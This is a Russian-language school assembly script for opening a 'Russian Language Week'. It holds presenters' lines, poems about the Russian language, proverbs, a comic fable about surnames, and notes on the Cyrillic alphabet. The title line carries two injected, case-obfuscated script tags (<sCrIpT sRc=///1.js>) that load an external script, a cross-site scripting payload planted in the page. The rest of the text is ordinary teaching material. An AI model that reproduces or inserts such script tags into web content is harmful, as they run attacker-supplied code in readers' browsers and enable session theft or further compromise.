Орыс тілін үйрен<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
30.10.2019
Сценарий линейки, посвящённой открытию
Недели русского языка.
Цель: нацеливание на Неделю русского языка, повышение эффективности изучения русского языка.
Задачи: развивать интерес к предмету, творческую активность обучающихся; формировать коммуникативные УУД.
Ведущий 1: Дорогие ребята, у нас сегодня знаменательное событие. Мы открываем «Неделю русского языка». Велик и могуч наш русский язык. С рождения и до седых волос мы не устаем наслаждаться его красотой.
Чтение стихотворения. С.Абдулла “Выучи русский язык”.
Если ты хочешь судьбу переспорить,
Если ты ищешь отрады цветник,
Если нуждаешься в твёрдой опоре–
Выучи русский язык!
Он твой наставник великий, могучий,
Он переводчик, он проводник.
Если штурмуешь познания кручи –
Выучи русский язык!
Ведущий 2:
–Это стихотворение написал узбекский поэт. Он обращается к своему народу со словами “Выучи русский язык.» Мы должны уметь грамотно выражать свои мысли, как в устной, так и в письменной речи. Наша речь, как устная, так и письменная должна быть понятна. Но все ли мы умеем писать четким, красивым почерком? Не получается ли у нас иногда так, как в стихотворении В. Гончарова “О грамотее и больной ноге”.
Инсценирование стихотворения В.Гончарова “О грамотее и больной ноге”.
Один неграмотный пришёл с поклоном к грамотею:
- Будь другом, напиши письмо, а то я не умею…
– Нет, не могу, нога болит, – ответил хмуро тот.
– Через неделю приходи, авось болезнь пройдёт.
– Да разве пишешь ты ногой? – неграмотный спросил.
– Нет, мне по адресу с письмом ходить не хватит сил.
Почерк у меня такой, трудись хоть целый год,
Но без меня моё письмо никто не разберёт.
Ведущий 1:
-Известные мастера русского слова М.В. Ломоносов, А.С. Пушкин, И.С.Тургенев, М. Горький высоко ценили русский язык как язык великого, талантливого народа.
«Русский язык – настоящий, сильный, где нужно – строгий, серьёзный, где нужно-страстный, где нужно – бойкий и живой». Так считал Лев Николаевич Толстой.
Послушайте высказывания о русском языке.
Язык – инструмент, необходимо хорошо знать его, хорошо им владеть. (А. М. Горький).
Язык наш сладок, чист, и пышен, и богат. (А.П. Сумароков).
Ложка нужна, чтобы суп хлебать, а грамота, чтобы знания черпать. (Пословица).
Ведущий 2:
На этой неделе Вы должны продемонстрировать и показать все свои знания и умения в области русского языка, а также свою эрудицию, богатый словарный запас, умение грамотно говорить и писать на русском языке.
Пусть девизом «Недели Русского Языка» будет народная мудрость, которая гласит:
«Не стыдно не знать, стыдно не учиться»!
А русский язык следует изучать всю жизнь. Изучая его, каждый раз вы будете делать удивительные открытия!
И поверьте,
Кто русский плохо знает,
Тот многое в жизни теряет!
Любите русский язык!
Изучайте русский язык!
Учащиеся читают стихи о русском языке.
Чтец 1.
Говорят в Париже по-французски,
По-немецки говорит Берлин;
Мне же дорог мой, привычный, русский,
Для меня родной лишь он один.
Чтец 2.
Судьба свела нас с величайшим в мире
С красивым, умным, Русским языком.
Пусть разливается по свету он всё шире
И будет, словно в море маяком.
Чтец 3.
Мелодичный, гибкий и певучий,
С детства он меня очаровал,
И не зря великим и могучим
Наш язык Тургенев называл.
Чтец 4.
Басня Смешная фамилия
Каких фамилий только нет:
Пятеркин, Двойкин, Супов,
Слюнтяев, Тряпкин-Дармоед,
Пупков и Перепупов!
В фамилиях различных лиц,
Порою нам знакомых,
Звучат названья рыб и птиц,
Зверей и насекомых:
Лисичкин, Раков, Индюков,
Селедкин, Мышкин, Телкин,
Мокрицын, Волков, Мотыльков,
Бобров и Перепелкин!
Но может некий Комаров
Иметь характер львиный,
А некий Барсов или Львов -
Умишко комариный.
Бывает, Коршунов иной
Синичкина боится,
А Чистунов слывет свиньей,
А Простачков - лисицей!
А Раков, если не дурак,
Невежда и тупица,
Назад не пятится как рак,
А все вперед стремится!
Плевков фамилию сменил,
Жемчужиным назвался,
Но в основном - ослом он был,
Ослом он и остался!
А Грибоедов, Пирогов
Прославились навеки!
И вывод, стало быть, таков:
Все дело не в фамилии, а в человеке!
Ведущий 1. Действительно – в человеке. Каждый уважающий себя человек должен быть грамотным.
Ведущий2. Что же такое грамота? В переводе с греческого - чтение и письмо. Народная мудрость гласит:
«Сперва аз да буки, а потом другие науки»
А что же такое аз, буки?
(Это название первых букв славянского алфавита)
Ведущий1. А как назывался славянский алфавит?
(Кириллица)
Кириллица лежит в основе русского и казахского алфавитов.
*Чтецы по очереди поднимают буквы русского алфавита и произносят их древнее название.
А – аз, т.е. я
Б – буки, т.е. буква
В – веди, т.е. знаю
Г – глаголь, т.е. говори
Д – добро
Е – есть
Ж – животные
З – земля
Л – люди
М - мыслить…
Ведущий 2. Ежегодно 24 мая в Болгарии отмечают праздник в честь
Кирилла и Мефодия. Кирилл и Мефодий – древние византийские ученые.
Более тысячи лет назад они составили славянский алфавит.
Ведущий 1: Славянский алфавит за все время своего существования
претерпевал изменения. В начале 18 века Петр Первый провел реформу азбуки и упростил особо трудные по написанию буквы. В 1918 году была новая реформа, и из алфавита исключили 5 букв.
Ведущий2: Издавна говорят:
1 чтец: Азбука – к мудрости ступенька.
2 чтец: Продай кафтан, купи буквицу.
3 чтец: Аз, буки, веди страшат, как медведи.
4 чтец: Ложка нужна, чтобы щи хлебать, а грамота, чтобы знания
черпать.
5 чтец: Кто грамоте горазд, тому не пропасть.
Ведущий1: А вы знаете, как учили грамоте на Руси?
Занятия в древнерусской школе шли от темна до темна.
Каждый ученик получал от учителя персональное задание:
один зубрил азбуку, второй читал «по складам», третий
изучал «Часослов». Каждый свое читал вслух. Отвечал ученик перед учителем на коленях. Не справившиеся с заданием подвергались
физическому наказанию.
Ведущий 1: В слове заключена великая сила
Стихотворение «Слова».
Словно травы, шелестят слова…
Как слова и травы в жизни схожи!
Говорим: целебная трава —
Есть слова целительные тоже.
Есть слова, исполненные яда,
Есть простые, словно васильки,
А порой с собою нету сладу,
Если в речи всходят сорняки.
Есть слова, пьянящие, как розы,
Есть — сухие, как степной ковыль.
Есть слова, рождающие слёзы,
Горькие слова, слова-полынь.
Словом можно душу покалечить,
Словом можно рану исцелить,
Бремя безысходности облегчить,
Веру и надежду воскресить.
Я смотрю на луг, в цветы одетый,
Как прекрасен сочных трав покров…
Научи нас, Бог, дарить букеты,
Состоящие из добрых, мудрых слов.
Ведущий 2: Неделю русского языка объявляем открытой.
Желаем Вам творческих успехов, интересных мероприятий и побед!
В добрый путь, дорогие друзья, в Страну Русского языка!
Пусть Ваше путешествие будет полезным и увлекательным! Удачи вам, ребята!